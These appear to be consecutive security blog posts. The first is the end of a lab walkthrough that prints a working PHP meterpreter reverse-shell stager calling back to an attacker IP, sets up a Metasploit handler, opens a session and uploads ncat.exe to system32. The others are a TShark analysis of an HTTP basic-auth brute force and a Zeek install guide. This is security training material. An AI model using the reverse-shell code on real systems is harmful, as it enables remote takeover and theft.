We now have to remove the "/*" from the beginning of the file. You can simply open the file in your favourite editor to remove those two characters. For me I will use the "cut --characters" to cut out the first 2 characters and keep everything else. I then redirect that output to a file named "server.php". With that name I hope to blend in.

kali@securtynik:~$ cat tmp.php | cut --characters 3- > server.php
kali@securtynik:~$ cat server.php 
<?php /**/ error_reporting(0); $ip = '10.0.0.107'; $port = 4443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

Next we load up "msfconsole" and configure the "multi/handler"

msf5 > use multi/handler

msf5 exploit(multi/handler) > set LHOST 10.0.0.107
LHOST => 10.0.0.107
msf5 exploit(multi/handler) > set LPORT 4443
LPORT => 443
msf5 exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp

Verify all is good to go.

msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.0.107       yes       The listen address (an interface may be specified)
   LPORT  4443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

Start the listening process by executing "exploit"

msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.0.107:4443 

Verify the port is listening on our local system.

kali@securtynik:~$ sudo ss --numeric --listening --tcp --process
sudo: unable to resolve host securtynik: Temporary failure in name resolution
State         Recv-Q        Send-Q               Local Address:Port                 Peer Address:Port        Process        
LISTEN        0             256                     10.0.0.107:4443                      0.0.0.0:*            users:(("ruby",pid=3354,fd=9))

Looks like we are good to go.

Now that it seems we have our attacking environment setup, let's now revisit our stager which was uploaded earlier when we got the "os-shell". The stager is hosted at "http://10.0.0.108:80/tmpuevkq.php" as we see earlier.

If we now open our browser and paste that URL, we see:


I then clicked browse and selected my "server.php" script.

Then uploaded the script


Now let's execute our script.


At this point, if we now transition to our "msfconsole", we see 

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.107:4443 
[*] Sending stage (38288 bytes) to 10.0.0.108
[*] Meterpreter session 1 opened (10.0.0.107:4443 -> 10.0.0.108:6375) at 2020-06-24 17:03:23 -0400

meterpreter > 

Looks like we successfully got the session. Execute "sysinfo"

meterpreter > sysinfo 
Computer    : SECURITYNIK-WIN
OS          : Windows NT SECURITYNIK-WIN 10.0 build 16299 (Windows 10) i586
Meterpreter : php/windows

At this point, we can now upload additional tools. Here I upload ncat.exe 
meterpreter > upload ncat.exe c:\\windows\\system32\\
[*] uploading  : ncat.exe -> c:\windows\system32\
[*] uploaded   : ncat.exe -> c:\windows\system32\\ncat.exe

Before we go, let's grab a shell.

meterpreter > shell
Process 3864 created.
Channel 6 created.
Microsoft Windows [Version 10.0.16299.125]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\System32>

I leave it to your imagination, what you do from here on. I will close off this post and see you in the log analysis post.



Thursday, June 25, 2020

Detecting HTTP Basic Authentication Brute Force Attacks via packets with TShark

In this post, we are looking at what the packets look like when unencrypted HTTP basic authentication is targeted.

First up, let's see what types of packets are in the PCAP

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter: 

sll                                      frames:3162 bytes:1168718
  ip                                     frames:3162 bytes:1168718
    tcp                                  frames:3162 bytes:1168718
      vssmonitoring                      frames:870 bytes:53940
      http                               frames:570 bytes:207928
        data-text-lines                  frames:285 bytes:121331
          tcp.segments                   frames:285 bytes:121331
===================================================================

From above, we see about 570 frames are HTTP.

First let's identify the HTTP version:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.request.version  -E header=y | sort | uniq --count | sort --numeric --reverse
   2877 
    285 HTTP/1.1
      1 http.request.version

Now that we know the version is HTTP/1.1, let's see the types of HTTP methods being used in this PCAP. The idea is since, we know we are analyzing HTTP, then there is more than likely going to be a method of GET, POST, etc.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.request.method | sort | uniq --count | sort --numeric --reverse
   2877 
    285 POST

Now that we know above the method is PUT, let's now see the host and URI which was accessed.

To see the host being accessed and the source, we execute:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e ip.src -e http.host -E header=y | sort | uniq --count | sort --numeric --reverse
   1452 192.168.0.4
   1425 10.0.2.15
    285 10.0.2.15       lab.securitynik.local
      1 ip.src              http.host

Let's learn a little bit more about the source. Maybe we look at the User-Agent:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e ip.src -e http.user_agent | sort | uniq --count | sort --numeric --reverse
   1452 192.168.0.4
   1425 10.0.2.15
    285 10.0.2.15       Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
    1   ip.src          http.user_agent

Looks like the device at 10.0.2.15 is using NMAP to target our host at lab.securitynik.local.

So at this point, we know the HTTP version, the source IP, the destination being targeted and the user agent of the device attacking us. Let's now identify the URI which is being targeted.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.request.uri  -E header=y | sort | uniq --count | sort --numeric --reverse
   2877 
    285 /lab/webapp/basicauth
      1 http.request.uri

We now know that "POST" method was used against the URI above. Let's take a glance at the server responses. While the request being made is good to know, we are more interested in the server response.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.response.code | sort | uniq --count | sort --numeric --reverse
   2877 
    284 401
      1 200

Above we see 284, "401" errors status codes and 1 "200" status code. Seems strange. 

Researching error status code 401, RFC 2616 identifies this status code as "Unauthorized". The RFC further states this "request requires user authentication". It also states that "the response MUST include a WWW-Authenticate header field"

Let's verify this WWW-Authenticates header exist. 

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.www_authenticate | sort | uniq --count | sort --numeric --reverse
   2878 
    284 Basic realm="SecurityNik Realm!"

Looks like it does. Would it be safe now to conclude that the user failed authentication 284 times and then ultimately was successful with that 1 "200" status code.

Taking a look at the Authorization requests being made:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.authorization | sort | uniq --count | sort --numeric --reverse | more
   2878 
      1 Basic YWRtaW46YXNzYXM=
      1 Basic YWRtaW46YXNzYWQ=
      1 Basic YWRtaW46YXNzYWE=
      1 Basic YWRtaW46YXNhZHM=
      1 Basic YWRtaW46YXNhZGQ=
      1 Basic YWRtaW46YXNhZGE=
      1 Basic YWRtaW46YXNhYXM=
      1 Basic YWRtaW46YXNhYWQ=
      1 Basic YWRtaW46YXNhYWE=
        ....

Looks like lots of Basic Authorization. Since the above looks like base 64 encoded content, let's continue to use TShark to find the actual credentials being used.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.authbasic  | sort | uniq --count | sort --numeric --reverse | more
   2878 
      1 nick:sssss
      1 nick:ssssd
      1 nick:ssssa
      1 nick:sssds
      1 nick:sssdd
      1 nick:sssda
      1 nick:sssas
      1 nick:sssad
      1 nick:sssaa
        ....


Looks like a password based attack with the username being "nick" and the password changing as show above. 

Let's now take a look at the one entry which has status code "200" to see what we get. Because there are a number of packets in this PCAP and the fact that the packet with "200 OK" implies success, let's extract the source IP, source port, destination IP, destination port and the stream number. The stream number we will later use.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y "(http.response.code == 200)" -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.stream -E header=y
ip.src      tcp.srcport     ip.dst     tcp.dstport     tcp.stream
192.168.0.4  80            10.0.2.15       35028         60

With above, we can now follow the TCP stream. This allows us to see the full session. Most importantly, it allows us to see the full client request.

===================================================================
kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y "(http.response.code == 200)" -T fields -e ip.src -e tcp.srcport -z follow,tcp,ascii,192.168.0.4:80,10.0.2.15:35028 | more
192.168.0.4  80

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 192.168.0.4 and tcp.srcport eq 80) and (ip.dst eq 10.0.2.15 
and tcp.dstport eq 35028)) or ((ip.src eq 10.0.2.15 and tcp.srcport eq 35028) and (
ip.dst eq 192.168.0.4 and tcp.dstport eq 80))
Node 0: 10.0.2.15:35028
Node 1: 192.168.0.4:80
248
POST /lab/webapp/basicauth HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/n
se.html)
Host: lab.securitynik.local
Content-Length: 0
Authorization: Basic YWRtaW46YWFkZGQ=
Connection: close


        2840
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Cloud-Trace-Context: 96b68704d4489f3c80ee15e704876ce5
Date: Sun, 31 May 2020 01:24:00 GMT
Server: Google Frontend
Accept-Ranges: none
Content-Length: 3827
Via: HTTP/1.1 forward.http.proxy:3128
Connection: close

..................


Awesome!  At this point, we see "Authorization: Basic YWRtaW46YWFkZGQ=". We can now use TShark to find this packet. Alternatively, we can easily plug this value into an online base64 decoder to find the result.


Let's take a bit of Python for this.

kali@securitynik:~$ python -c "import base64;print(base64.decodestring('YWRtaW46YWFkZGQ='))"
admin:aaddd

Let's now wrap this up by looking at the time this activity started.


kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y '((http) && (ip.src  ==  10.0.2.15) && (http.request.method == POST) && (http.request.uri == http.request.uri == "/lab/webapp/basicauth"))' -t ad | more
   28 2020-05-30 21:23:57.541751    10.0.2.15 → 192.168.0.4 HTTP 265 POST /lab/w
ebapp/basicauth HTTP/1.1 
   50 2020-05-30 21:23:57.715894    10.0.2.15 → 192.168.0.4 HTTP 300 POST /lab/w
ebapp/basicauth HTTP/1.1 
   52 2020-05-30 21:23:57.716791    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
   54 2020-05-30 21:23:57.717297    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
   56 2020-05-30 21:23:57.717872    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
   58 2020-05-30 21:23:57.719344    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
....
 3097 2020-05-30 21:24:02.422018    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3098 2020-05-30 21:24:02.422234    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3099 2020-05-30 21:24:02.422609    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3100 2020-05-30 21:24:02.422823    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3101 2020-05-30 21:24:02.423343    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3102 2020-05-30 21:24:02.423554    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 

From above we can conclude this activity started on May 30, 2020 at 21:23:57 local time.

Looking at the time the time the login was successful from the server perspective, we see:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y '((http) && (ip.dst == 10.0.2.15) && (http.response.code == 200))' -t ad
  741 2020-05-30 21:23:58.779688 192.168.0.4 → 10.0.2.15    HTTP 1347 HTTP/1.1 200 OK  (text/html)

At this point we can say the successful login occurred within a second of of the initial attempt.

Ok At this point I believe we are good to go with detecting the issue. 


References:

Saturday, June 13, 2020

Installing Zeek 3.1.4 on Ubuntu 20.04

In the SANS SEC503 Intrusion Detection in Depth class, we teach you quite a lot to get you started with Zeek Network Security Monitoring. One of the things we cannot do because of time, is walk you through the installation, upgrading, etc., of Zeek. In this post, we help you to install Zeek 3.1.4, the current version as of this writing on Ubuntu 20.04. The hope is with the knowledge we provide to you in the SEC 503 class as well as what you get here, you are in a better position to maximize your Zeek deployment.

First, let us confirm my version of Ubuntu. As seen below, I am running Ubuntu 20.04 LTS.


securitynik@securitynik-zeek:~$ lsb_release --all
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:        20.04
Codename:       focal

Next, let us install Zeek's dependencies. As we are using Ubuntu, we need the following dependencies:


cmake 
make 
gcc 
g++ 
flex 
bison 
libpcap-dev 
libssl-dev 
python-dev 
swig 
zlib1g-dev

Let's install them by using:


securitynik@securitynik-zeek:~$sudo apt-get install cmake make gcc g++ flex bison libpcap-dev libssl-dev python-dev swig zlib1g-dev

Let's now install an optional dependency. Specifically, we will install libmaxminddb (for geolocating IP addresses). To make the most of this, you will need to register with MaxMind before you can download the GeoIP dataset. Once registered and logged in, download the GeoLite2 City database.

Once downloaded, you may need to copy the file to the remote machine running Zeek. In my example, I downloaded the file on a Windows system, then used SCP to transfer it to the device running Zeek.

If you don't wish to use geo-data, feel free to skip this step.


securitynik@securitynik-zeek:~$ sudo apt-get install libmaxminddb-dev

Copy the GeoIP data file from Windows 10 system to the system running Zeek, using the native SCP client in Windows 10.


C:\Users\securitynik\Downloads>scp GeoLite2-City_20200609.tar.gz nik@192.168.0.4:~/

nik@192.168.0.4's password:     
GeoLite2-City_20200609.tar gz         100%   29MB  10.4MB/s   00:02

Once the file is on the system running Zeek, we then extract the files:


securitynik@securitynik-zeek:~$ tar --extract --verbose --gunzip --file GeoLite2-City_20200609.tar.gz
GeoLite2-City_20200609/
GeoLite2-City_20200609/README.txt
GeoLite2-City_20200609/COPYRIGHT.txt
GeoLite2-City_20200609/GeoLite2-City.mmdb
GeoLite2-City_20200609/LICENSE.txt

Next copy the GeoLite2-City_20200609/GeoLite2-City.mmdb into the /usr/share/GeoIP folder. In my case I had to create this folder.


securitynik@securitynik-zeek:~$ sudo mkdir --parents /usr/share/GeoIP
securitynik@securitynik-zeek:~$ sudo cp GeoLite2-City_20200609/GeoLite2-City.mmdb /usr/share/GeoIP/

Once the dependencies have been installed successfully, we then transition to the Zeek installation. For our install, we use the latest version at the time of this writing from Zeek's GitHub page.


securitynik@securitynik-zeek:~$ git clone --recursive https://github.com/zeek/zeek

Upon completion of the cloning, we then change directory (cd) into the zeek directory. Once we changed into the zeek directory, we then specify "--with-geoip" argument for the configure script so as to customize our installation. In this example, we are pointing it to the previously created folder which holds or geo-data file.


securitynik@securitynik-zeek:~/zeek$ cd zeek/
securitynik@securitynik-zeek:~/zeek$ ./configure --with-geoip=/usr/share/GeoIP

If everything went ok, you may see something similar to:


....
====================|  Zeek Build Summary  |====================

Build type:        RelWithDebInfo
Build dir:         /home/nik/zeek/build
Install prefix:    /usr/local/zeek
Zeek Script Path:  /usr/local/zeek/share/zeek
Debug mode:        false
Unit tests:

CC:                /usr/bin/cc
CFLAGS:             -Wall -Wno-unused -O2 -g -DNDEBUG
CXX:               /usr/bin/c++
CXXFLAGS:           -Wall -Wno-unused -Wno-register -Werror=vla -std=c++17 -O2 -g -DNDEBUG
CPP:               /usr/bin/c++

ZeekControl:       true
Aux. Tools:        true

libmaxminddb:      true
Kerberos:          false
gperftools found:  false
        tcmalloc:  false
       debugging:  false
jemalloc:          false

Fuzz Targets:
Fuzz Engine:

================================================================

-- Configuring done
-- Generating done
-- Build files have been written to: /home/nik/zeek/build

Next up, make and make install Zeek. Grab a quick coffee, beer or Guinness. Basically whatever you drink as depending on your system resources, this may take a while to complete.


securitynik@securitynik-zeek:~/zeek$ sudo make 
securitynik@securitynik-zeek:~/zeek$ sudo make install

Now that the install has completed, test to see if zeek can be executed.


securitynik@securitynik-zeek:~$which zeek
securitynik@securitynik-zeek:~$

Looks like zeek is not in the path. Let's add a symbolic link and verify Zeek is now in the path


securitynik@securitynik-zeek:~$ sudo ln --symbolic /usr/local/zeek/bin/zeek /usr/bin/zeek
securitynik@securitynik-zeek:~$ which zeek
/usr/bin/zeek

Looks good! Similarly, let's setup a symbolic link for zeekctl


securitynik@securitynik-zeek:~$ sudo ln --symbolic /usr/local/zeek/bin/zeekctl /usr/bin/zeekctl
securitynik@securitynik-zeek:~$ which zeekctl
/usr/bin/zeekctl

While the above is cool, we need to make this a bit more permanent. More importantly, there are other files in the /usr/local/zeek/bin/ directory such as zeek-cut that we more than likely need to use. Thus adding all of these symbolic links may not be the best use of our time. Let's address this by first modifying the path.


securitynik@securitynik-zeek:~$ export PATH=$PATH:/usr/local/zeek/bin
securitynik@securitynik-zeek:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/loal/zeek/bin:/usr/local/zeek/bin

This now allows us to access the other binaries in the /usr/local/zeek/bin/ directory such as zeek-cut

Let's now make it permanent. 


securitynik@securitynik-zeek:~$ echo "export PATH=$PATH:/usr/local/zeek/bin" >> .bashrc
securitynik@securitynik-zeek:~$ tail --lines 1 .bashrc
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/loal/zeek/bin:/usr/local/zeek/bin:/usr/local/zeek/bin

At this point you should be able to execute Zeek with its default configuration in standalone mode. However, for us, let move away from the defaults.

First edit the networks.cfg using your favourite editor (vi, nano, gedit, mousepad, etc.), to ensure it reflects your protected network(s). Here is what mine looks like.


securitynik@securitynik-zeek:/usr/local/zeek/etc$ cat networks.cfg
# List of local networks in CIDR notation, optionally followed by a
# descriptive tag.
# For example, "10.0.0.0/8" or "fe80::/64" are valid prefixes.

#10.0.0.0/8          Private IP space
#172.16.0.0/12       Private IP space
192.168.0.0/24     SecurityNik Protected Network

For demonstration purposes, I commented out 10.0.0.0/8 and 172.16.0.0/12 networks and left the 192.168.0.0/16. I also changed the description to suit my needs. You should also add any other networks you have to this file.

Once that is completed, you should then configure the node.cfg file. Here is what mine looks like. I commented out the standalone section to simulate a distributed deployment. Everything is on one host but the host has two interfaces. One of those is the loopback and the other enp0s25. Note, you don't really need to do it the way I did. I am only doing it this way to demonstrate how you can use different workers on different systems and or interfaces.


#[zeek]
#type=standalone
#host=securitynik
#interface=enp0s25

## Below is an example clustered configuration. If you use this,
## remove the [zeek] node above.

#[logger-1]
#type=logger
#host=localhost
#
[securitynik-zeek-manager]
type=manager
host=192.168.0.4
#
[securitynik-zeek-proxy]
type=proxy
host=192.168.0.4
#
[securitynik-zeek-worker-enp0s25]
type=worker
host=192.168.0.4
interface=enp0s25
#
[securitynik-zeek-worker-lo]
type=worker
host=localhost
interface=lo

Once you have modified your node.cfg to reflect your configuration needs, your next step is to make any necessary changes to your zeekctl.cfg. At a minimum in this file you may want to change the recipient email address. Here is a snapshot of my file:


securitynik@securitynik-zeek:/usr/local/zeek/etc$ cat zeekctl.cfg | more
## Global ZeekControl configuration file.

###############################################
# Mail Options

# Recipient address for all emails sent out by Zeek and ZeekControl.
MailTo = admin@securitynik.local
......

At this point, we should be good to go. Once you modify your files, you should deploy your changes. Let's do that.


securitynik@securitynik-zeek:/usr/local/zeek/etc$ sudo zeekctl deploy
checking configurations ...
installing ...
removing old policies in /usr/local/zeek/spool/installed-scripts-do-not-touch/site ...
removing old policies in /usr/local/zeek/spool/installed-scripts-do-not-touch/auto ...
creating policy directories ...
installing site policies ...
generating cluster-layout.zeek ...
generating local-networks.zeek ...
generating zeekctl-config.zeek ...
generating zeekctl-config.sh ...
stopping ...
stopping workers ...
stopping proxy ...
stopping manager ...
starting ...
starting manager ...
starting proxy ...
starting workers ...

Looks like everything started properly. Let's confirm this:


securitynik@securitynik-zeek:/usr/local/zeek/etc$ sudo zeekctl status
Name                        Type    Host             Status    Pid    Started
securitynik-zeek-manager         manager 192.168.0.4      running   207505 13 Jun 14:13:33
securitynik-zeek-proxy           proxy   192.168.0.4      running   207554 13 Jun 14:13:35
securitynik-zeek-worker-enp0s25  worker  192.168.0.4      running   207624 13 Jun 14:13:37
securitynik-zeek-worker-lo       worker  localhost        running   207621 13 Jun 14:13:37

Looks like we are good to go. To further confirm, let's see if any logs are being created.


securitynik@securitynik-zeek:/usr/local/zeek/etc$ ls ../logs/current
broker.log   conn.log  files.log  loaded_scripts.log  reporter.log  stats.log   stdout.log  weird.log
cluster.log  dns.log   http.log   packet_filter.log   ssl.log       stderr.log  syslog.log  x509.log

Nice. Looks like we are making progress. 

Finally, you may wish to have Zeek start as a service via Systemd. Let's make that happen.

Create a file name zeek.zervice and verify its existence as follow.


securitynik@securitynik-zeek:~$ sudo touch /etc/systemd/system/zeek.service
securitynik@securitynik-zeek:~$ ls /etc/systemd/system/zeek.service*
/etc/systemd/system/zeek.service

Next edit the file and add the following contents:


securitynik@securitynik-zeek:~$ sudo vi /etc/systemd/system/zeek.service
securitynik@securitynik-zeek:~$ cat /etc/systemd/system/zeek.service
Description=Zeek Network Security Monitoring

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=zeekctl deploy
Restart=on-failure
RestartSec=10
KillMode=process

[Install]
WantedBy=multi-user.target

Next reload systemd


securitynik@securitynik-zeek:~$ sudo systemctl daemon-reload

Enable the zeek service (zeek.zervice)


securitynik@securitynik-zeek:~$ sudo systemctl enable --now zeek.service
Created symlink /etc/systemd/system/multi-user.target.wants/zeek.service → /etc/systemd/system/zeek.service.

Start the service 


securitynik@securitynik-zeek:~$ sudo systemctl start zeek.service
securitynik@securitynik-zeek:~$

Looks like the Zeek service started without errors. Let's confirm the service is now running.


securitynik@securitynik-zeek:~$ systemctl status zeek.service
● zeek.service
     Loaded: loaded (/etc/systemd/system/zeek.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2020-06-13 14:42:21 EDT; 1min 26s ago
    Process: 215455 ExecStart=/usr/bin/zeekctl start (code=exited, status=0/SUCCESS)
   Main PID: 215455 (code=exited, status=0/SUCCESS)
      Tasks: 50 (limit: 2225)
     Memory: 293.0M
     CGroup: /system.slice/zeek.service
             ├─215481 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -U .status -p zeekctl -p zeekctl->
             ├─215487 /usr/local/zeek/bin/zeek -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek-manager lo>
             ├─215533 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -U .status -p zeekctl -p zeekctl->
             ├─215539 /usr/local/zeek/bin/zeek -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek-proxy loca>
             ├─215592 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -i enp0s25 -U .status -p zeekctl >
             ├─215600 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -i lo -U .status -p zeekctl -p ze>
             ├─215605 /usr/local/zeek/bin/zeek -i enp0s25 -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek>
             └─215609 /usr/local/zeek/bin/zeek -i lo -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek-work>

Jun 13 14:42:14 securitynik systemd[1]: Started zeek.service.
Jun 13 14:42:21 securitynik zeekctl[215455]: starting manager ...
Jun 13 14:42:21 securitynik zeekctl[215455]: starting proxy ...
Jun 13 14:42:21 securitynik zeekctl[215455]: starting workers ...
Jun 13 14:42:21 securitynik systemd[1]: zeek.service: Succeeded.

Above we can see zeek.serviceSuceeded. However, if you look at the Active above, we see Inactive dead. However, I was able to confirm Zeek is running as expected even after stopping Zeek with zeekctl stop. I then restarted the system and run sudo zeekctl status along with systemctl status zeek.service and everything is working as expected.


At this point, I will close off this post. Have fun, stay safe and I look forward to seeing you in one of  the upcoming SANS SEC503 Intrusion Detection in Depth class, where we teach you how to maximize your security monitoring with Zeek.

Reference: